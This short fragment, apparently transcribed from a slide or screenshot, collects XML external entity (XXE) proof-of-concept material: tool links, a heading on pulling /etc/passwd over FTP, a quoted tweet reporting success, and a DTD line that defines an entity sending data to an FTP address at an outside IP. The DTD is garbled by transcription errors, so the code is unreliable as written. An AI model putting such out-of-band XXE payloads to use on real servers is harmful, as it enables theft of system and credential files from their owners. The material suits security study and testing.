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http://xxe.sh
https://github.com/Ic/230-00B

Pocs

Getting /etc/passwd on the ftp via xxe
@aks_infa Finally! | was able to retrieve the "/etc/passwd" file from the server.

This is the DTD file | used:

<IENTITY % paran3 “<|ENTITY 8@5; exfil SYSTEM 'fp://128.199.62.115:8443/Xdatad; '>">
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